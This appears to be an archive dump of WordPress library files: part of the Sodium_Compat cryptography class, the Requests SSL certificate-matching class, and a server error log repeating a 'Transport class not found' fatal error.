     * @throws SodiumException
     */
    public static function ristretto255_add(
        #[\SensitiveParameter]
        $p,
        #[\SensitiveParameter]
        $q,
        $dontFallback = false
    ) {
        if (self::useNewSodiumAPI() && !$dontFallback) {
            return sodium_crypto_core_ristretto255_add($p, $q);
        }
        return ParagonIE_Sodium_Core_Ristretto255::ristretto255_add($p, $q);
    }

    /**
     * @param string $p
     * @param string $q
     * @param bool $dontFallback
     * @return string
     * @throws SodiumException
     */
    public static function ristretto255_sub(
        #[\SensitiveParameter]
        $p,
        #[\SensitiveParameter]
        $q,
        $dontFallback = false
    ) {
        if (self::useNewSodiumAPI() && !$dontFallback) {
            return sodium_crypto_core_ristretto255_sub($p, $q);
        }
        return ParagonIE_Sodium_Core_Ristretto255::ristretto255_sub($p, $q);
    }

    /**
     * @param string $r
     * @param bool $dontFallback
     * @return string
     *
     * @throws SodiumException
     */
    public static function ristretto255_from_hash(
        #[\SensitiveParameter]
        $r,
        $dontFallback = false
    ) {
        if (self::useNewSodiumAPI() && !$dontFallback) {
            return sodium_crypto_core_ristretto255_from_hash($r);
        }
        return ParagonIE_Sodium_Core_Ristretto255::ristretto255_from_hash($r);
    }

    /**
     * @param bool $dontFallback
     * @return string
     *
     * @throws SodiumException
     */
    public static function ristretto255_random($dontFallback = false)
    {
        if (self::useNewSodiumAPI() && !$dontFallback) {
            return sodium_crypto_core_ristretto255_random();
        }
        return ParagonIE_Sodium_Core_Ristretto255::ristretto255_random();
    }

    /**
     * @param bool $dontFallback
     * @return string
     *
     * @throws SodiumException
     */
    public static function ristretto255_scalar_random($dontFallback = false)
    {
        if (self::useNewSodiumAPI() && !$dontFallback) {
            return sodium_crypto_core_ristretto255_scalar_random();
        }
        return ParagonIE_Sodium_Core_Ristretto255::ristretto255_scalar_random();
    }

    /**
     * @param string $s
     * @param bool $dontFallback
     * @return string
     * @throws SodiumException
     */
    public static function ristretto255_scalar_invert(
        #[\SensitiveParameter]
        $s,
        $dontFallback = false
    ) {
        if (self::useNewSodiumAPI() && !$dontFallback) {
            return sodium_crypto_core_ristretto255_scalar_invert($s);
        }
        return ParagonIE_Sodium_Core_Ristretto255::ristretto255_scalar_invert($s);
    }
    /**
     * @param string $s
     * @param bool $dontFallback
     * @return string
     * @throws SodiumException
     */
    public static function ristretto255_scalar_negate(
        #[\SensitiveParameter]
        $s,
        $dontFallback = false
    ) {
        if (self::useNewSodiumAPI() && !$dontFallback) {
            return sodium_crypto_core_ristretto255_scalar_negate($s);
        }
        return ParagonIE_Sodium_Core_Ristretto255::ristretto255_scalar_negate($s);
    }

    /**
     * @param string $s
     * @param bool $dontFallback
     * @return string
     * @throws SodiumException
     */
    public static function ristretto255_scalar_complement(
        #[\SensitiveParameter]
        $s,
        $dontFallback = false
    ) {
        if (self::useNewSodiumAPI() && !$dontFallback) {
            return sodium_crypto_core_ristretto255_scalar_complement($s);
        }
        return ParagonIE_Sodium_Core_Ristretto255::ristretto255_scalar_complement($s);
    }

    /**
     * @param string $x
     * @param string $y
     * @param bool $dontFallback
     * @return string
     * @throws SodiumException
     */
    public static function ristretto255_scalar_add(
        #[\SensitiveParameter]
        $x,
        #[\SensitiveParameter]
        $y,
        $dontFallback = false
    ) {
        if (self::useNewSodiumAPI() && !$dontFallback) {
            return sodium_crypto_core_ristretto255_scalar_add($x, $y);
        }
        return ParagonIE_Sodium_Core_Ristretto255::ristretto255_scalar_add($x, $y);
    }

    /**
     * @param string $x
     * @param string $y
     * @param bool $dontFallback
     * @return string
     * @throws SodiumException
     */
    public static function ristretto255_scalar_sub(
        #[\SensitiveParameter]
        $x,
        #[\SensitiveParameter]
        $y,
        $dontFallback = false
    ) {
        if (self::useNewSodiumAPI() && !$dontFallback) {
            return sodium_crypto_core_ristretto255_scalar_sub($x, $y);
        }
        return ParagonIE_Sodium_Core_Ristretto255::ristretto255_scalar_sub($x, $y);
    }

    /**
     * @param string $x
     * @param string $y
     * @param bool $dontFallback
     * @return string
     * @throws SodiumException
     */
    public static function ristretto255_scalar_mul(
        #[\SensitiveParameter]
        $x,
        #[\SensitiveParameter]
        $y,
        $dontFallback = false
    ) {
        if (self::useNewSodiumAPI() && !$dontFallback) {
            return sodium_crypto_core_ristretto255_scalar_mul($x, $y);
        }
        return ParagonIE_Sodium_Core_Ristretto255::ristretto255_scalar_mul($x, $y);
    }

    /**
     * @param string $n
     * @param string $p
     * @param bool $dontFallback
     * @return string
     * @throws SodiumException
     */
    public static function scalarmult_ristretto255(
        #[\SensitiveParameter]
        $n,
        #[\SensitiveParameter]
        $p,
        $dontFallback = false
    ) {
        if (self::useNewSodiumAPI() && !$dontFallback) {
            return sodium_crypto_scalarmult_ristretto255($n, $p);
        }
        return ParagonIE_Sodium_Core_Ristretto255::scalarmult_ristretto255($n, $p);
    }

    /**
     * @param string $n
     * @param string $p
     * @param bool $dontFallback
     * @return string
     * @throws SodiumException
     */
    public static function scalarmult_ristretto255_base(
        #[\SensitiveParameter]
        $n,
        $dontFallback = false
    ) {
        if (self::useNewSodiumAPI() && !$dontFallback) {
            return sodium_crypto_scalarmult_ristretto255_base($n);
        }
        return ParagonIE_Sodium_Core_Ristretto255::scalarmult_ristretto255_base($n);
    }

    /**
     * @param string $s
     * @param bool $dontFallback
     * @return string
     * @throws SodiumException
     */
    public static function ristretto255_scalar_reduce(
        #[\SensitiveParameter]
        $s,
        $dontFallback = false
    ) {
        if (self::useNewSodiumAPI() && !$dontFallback) {
            return sodium_crypto_core_ristretto255_scalar_reduce($s);
        }
        return ParagonIE_Sodium_Core_Ristretto255::sc_reduce($s);
    }

    /**
     * Runtime testing method for 32-bit platforms.
     *
     * Usage: If runtime_speed_test() returns FALSE, then our 32-bit
     *        implementation is to slow to use safely without risking timeouts.
     *        If this happens, install sodium from PECL to get acceptable
     *        performance.
     *
     * @param int $iterations Number of multiplications to attempt
     * @param int $maxTimeout Milliseconds
     * @return bool           TRUE if we're fast enough, FALSE is not
     * @throws SodiumException
     */
    public static function runtime_speed_test($iterations, $maxTimeout)
    {
        if (self::polyfill_is_fast()) {
            return true;
        }
        /** @var float $end */
        $end = 0.0;
        /** @var float $start */
        $start = microtime(true);
        /** @var ParagonIE_Sodium_Core32_Int64 $a */
        $a = ParagonIE_Sodium_Core32_Int64::fromInt(random_int(3, 1 << 16));
        for ($i = 0; $i < $iterations; ++$i) {
            /** @var ParagonIE_Sodium_Core32_Int64 $b */
            $b = ParagonIE_Sodium_Core32_Int64::fromInt(random_int(3, 1 << 16));
            $a->mulInt64($b);
        }
        /** @var float $end */
        $end = microtime(true);
        /** @var int $diff */
        $diff = (int) ceil(($end - $start) * 1000);
        return $diff < $maxTimeout;
    }

    /**
     * Add two numbers (little-endian unsigned), storing the value in the first
     * parameter.
     *
     * This mutates $val.
     *
     * @param string $val
     * @param string $addv
     * @return void
     * @throws SodiumException
     */
    public static function sub(
        #[\SensitiveParameter]
        &$val,
        #[\SensitiveParameter]
        $addv
    ) {
        $val_len = ParagonIE_Sodium_Core_Util::strlen($val);
        $addv_len = ParagonIE_Sodium_Core_Util::strlen($addv);
        if ($val_len !== $addv_len) {
            throw new SodiumException('values must have the same length');
        }
        $A = ParagonIE_Sodium_Core_Util::stringToIntArray($val);
        $B = ParagonIE_Sodium_Core_Util::stringToIntArray($addv);

        $c = 0;
        for ($i = 0; $i < $val_len; $i++) {
            $c = ($A[$i] - $B[$i] - $c);
            $A[$i] = ($c & 0xff);
            $c = ($c >> 8) & 1;
        }
        $val = ParagonIE_Sodium_Core_Util::intArrayToString($A);
    }

    /**
     * This emulates libsodium's version_string() function, except ours is
     * prefixed with 'polyfill-'.
     *
     * @return string
     * @psalm-suppress MixedInferredReturnType
     * @psalm-suppress UndefinedFunction
     */
    public static function version_string()
    {
        if (self::useNewSodiumAPI()) {
            return (string) sodium_version_string();
        }
        if (self::use_fallback('version_string')) {
            return (string) call_user_func('\\Sodium\\version_string');
        }
        return (string) self::VERSION_STRING;
    }

    /**
     * Should we use the libsodium core function instead?
     * This is always a good idea, if it's available. (Unless we're in the
     * middle of running our unit test suite.)
     *
     * If ext/libsodium is available, use it. Return TRUE.
     * Otherwise, we have to use the code provided herein. Return FALSE.
     *
     * @param string $sodium_func_name
     *
     * @return bool
     */
    protected static function use_fallback($sodium_func_name = '')
    {
        static $res = null;
        if ($res === null) {
            $res = extension_loaded('libsodium') && PHP_VERSION_ID >= 50300;
        }
        if ($res === false) {
            // No libsodium installed
            return false;
        }
        if (self::$disableFallbackForUnitTests) {
            // Don't fallback. Use the PHP implementation.
            return false;
        }
        if (!empty($sodium_func_name)) {
            return is_callable('\\Sodium\\' . $sodium_func_name);
        }
        return true;
    }

    /**
     * Libsodium as implemented in PHP 7.2
     * and/or ext/sodium (via PECL)
     *
     * @ref https://wiki.php.net/rfc/libsodium
     * @return bool
     */
    protected static function useNewSodiumAPI()
    {
        static $res = null;
        if ($res === null) {
            $res = PHP_VERSION_ID >= 70000 && extension_loaded('sodium');
        }
        if (self::$disableFallbackForUnitTests) {
            // Don't fallback. Use the PHP implementation.
            return false;
        }
        return (bool) $res;
    }
}
Ssl.php000064400000012461152223033010006011 0ustar00<?php
/**
 * SSL utilities for Requests
 *
 * @package Requests\Utilities
 */

namespace WpOrg\Requests;

use WpOrg\Requests\Exception\InvalidArgument;
use WpOrg\Requests\Utility\InputValidator;

/**
 * SSL utilities for Requests
 *
 * Collection of utilities for working with and verifying SSL certificates.
 *
 * @package Requests\Utilities
 */
final class Ssl {
	/**
	 * Verify the certificate against common name and subject alternative names
	 *
	 * Unfortunately, PHP doesn't check the certificate against the alternative
	 * names, leading things like 'https://www.github.com/' to be invalid.
	 *
	 * @link https://tools.ietf.org/html/rfc2818#section-3.1 RFC2818, Section 3.1
	 *
	 * @param string|Stringable $host Host name to verify against
	 * @param array $cert Certificate data from openssl_x509_parse()
	 * @return bool
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $host argument is not a string or a stringable object.
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $cert argument is not an array or array accessible.
	 */
	public static function verify_certificate($host, $cert) {
		if (InputValidator::is_string_or_stringable($host) === false) {
			throw InvalidArgument::create(1, '$host', 'string|Stringable', gettype($host));
		}

		if (InputValidator::has_array_access($cert) === false) {
			throw InvalidArgument::create(2, '$cert', 'array|ArrayAccess', gettype($cert));
		}

		$has_dns_alt = false;

		// Check the subjectAltName
		if (!empty($cert['extensions']['subjectAltName'])) {
			$altnames = explode(',', $cert['extensions']['subjectAltName']);
			foreach ($altnames as $altname) {
				$altname = trim($altname);
				if (strpos($altname, 'DNS:') !== 0) {
					continue;
				}

				$has_dns_alt = true;

				// Strip the 'DNS:' prefix and trim whitespace
				$altname = trim(substr($altname, 4));

				// Check for a match
				if (self::match_domain($host, $altname) === true) {
					return true;
				}
			}

			if ($has_dns_alt === true) {
				return false;
			}
		}

		// Fall back to checking the common name if we didn't get any dNSName
		// alt names, as per RFC2818
		if (!empty($cert['subject']['CN'])) {
			// Check for a match
			return (self::match_domain($host, $cert['subject']['CN']) === true);
		}

		return false;
	}

	/**
	 * Verify that a reference name is valid
	 *
	 * Verifies a dNSName for HTTPS usage, (almost) as per Firefox's rules:
	 * - Wildcards can only occur in a name with more than 3 components
	 * - Wildcards can only occur as the last character in the first
	 *   component
	 * - Wildcards may be preceded by additional characters
	 *
	 * We modify these rules to be a bit stricter and only allow the wildcard
	 * character to be the full first component; that is, with the exclusion of
	 * the third rule.
	 *
	 * @param string|Stringable $reference Reference dNSName
	 * @return boolean Is the name valid?
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed argument is not a string or a stringable object.
	 */
	public static function verify_reference_name($reference) {
		if (InputValidator::is_string_or_stringable($reference) === false) {
			throw InvalidArgument::create(1, '$reference', 'string|Stringable', gettype($reference));
		}

		if ($reference === '') {
			return false;
		}

		if (preg_match('`\s`', $reference) > 0) {
			// Whitespace detected. This can never be a dNSName.
			return false;
		}

		$parts = explode('.', $reference);
		if ($parts !== array_filter($parts)) {
			// DNSName cannot contain two dots next to each other.
			return false;
		}

		// Check the first part of the name
		$first = array_shift($parts);

		if (strpos($first, '*') !== false) {
			// Check that the wildcard is the full part
			if ($first !== '*') {
				return false;
			}

			// Check that we have at least 3 components (including first)
			if (count($parts) < 2) {
				return false;
			}
		}

		// Check the remaining parts
		foreach ($parts as $part) {
			if (strpos($part, '*') !== false) {
				return false;
			}
		}

		// Nothing found, verified!
		return true;
	}

	/**
	 * Match a hostname against a dNSName reference
	 *
	 * @param string|Stringable $host Requested host
	 * @param string|Stringable $reference dNSName to match against
	 * @return boolean Does the domain match?
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When either of the passed arguments is not a string or a stringable object.
	 */
	public static function match_domain($host, $reference) {
		if (InputValidator::is_string_or_stringable($host) === false) {
			throw InvalidArgument::create(1, '$host', 'string|Stringable', gettype($host));
		}

		// Check if the reference is blocklisted first
		if (self::verify_reference_name($reference) !== true) {
			return false;
		}

		// Check for a direct match
		if ((string) $host === (string) $reference) {
			return true;
		}

		// Calculate the valid wildcard match if the host is not an IP address
		// Also validates that the host has 3 parts or more, as per Firefox's ruleset,
		// as a wildcard reference is only allowed with 3 parts or more, so the
		// comparison will never match if host doesn't contain 3 parts or more as well.
		if (ip2long($host) === false) {
			$parts    = explode('.', $host);
			$parts[0] = '*';
			$wildcard = implode('.', $parts);
			if ($wildcard === (string) $reference) {
				return true;
			}
		}

		return false;
	}
}
Exception/Transport/error_log000064400000050734152223033010012413 0ustar00[19-Sep-2024 20:14:44 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php on line 17
[19-Sep-2024 20:29:11 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php on line 17
[10-Nov-2024 08:50:37 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php on line 17
[10-Nov-2024 11:33:34 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php on line 17
[19-Nov-2024 00:35:20 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php on line 17
[16-Jan-2025 06:42:17 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php on line 17
[16-Jan-2025 07:45:41 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php on line 17
[02-Feb-2025 01:45:30 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php on line 17
[02-Feb-2025 02:35:25 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php on line 17
[22-Feb-2025 06:14:23 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php on line 17
[22-Feb-2025 06:25:19 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php on line 17
[29-Mar-2025 10:12:06 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php on line 17
[13-May-2025 10:07:13 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php on line 17
[13-May-2025 10:07:13 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php on line 17
[13-May-2025 10:07:15 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php on line 17
[13-May-2025 10:07:17 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php on line 17
[14-May-2025 11:56:52 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php on line 17
[14-May-2025 11:56:52 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php on line 17
[14-May-2025 11:56:53 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php on line 17
[14-May-2025 11:56:55 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php on line 17
[14-May-2025 14:33:54 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php on line 17
[14-May-2025 14:33:54 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php on line 17
[14-May-2025 14:33:56 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php on line 17
[14-May-2025 14:33:58 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php on line 17
[18-Jun-2025 16:52:26 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php on line 17
[19-Jul-2025 09:15:37 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php on line 17
[20-Aug-2025 23:27:58 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php on line 17
[21-Aug-2025 20:15:17 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php on line 17
[26-Aug-2025 06:19:11 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php on line 17
[26-Aug-2025 06:29:42 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php on line 17
[04-Sep-2025 00:50:11 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php on line 17
[06-Sep-2025 01:49:21 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php on line 17
[06-Sep-2025 01:58:21 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php on line 17
[09-Sep-2025 17:34:50 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php on line 17
[09-Sep-2025 17:48:59 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php on line 17
[14-Sep-2025 15:02:48 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php on line 17
[14-Sep-2025 15:11:30 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php on line 17
[18-Sep-2025 16:53:32 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php on line 17
[18-Sep-2025 17:06:59 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php on line 17
[19-Sep-2025 06:24:06 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php on line 17
[19-Sep-2025 06:39:25 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php on line 17
[22-Sep-2025 12:31:17 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php on line 17
[22-Sep-2025 12:49:01 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php on line 17
[25-Sep-2025 21:51:43 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php on line 17
[25-Sep-2025 22:04:45 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php on line 17
[02-Oct-2025 10:36:04 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php on line 17
[02-Oct-2025 10:44:28 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php on line 17
[02-Nov-2025 08:23:59 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php on line 17
[02-Nov-2025 08:33:46 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Transport' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport/Curl.php:17
Stack trace:
#0 {main}
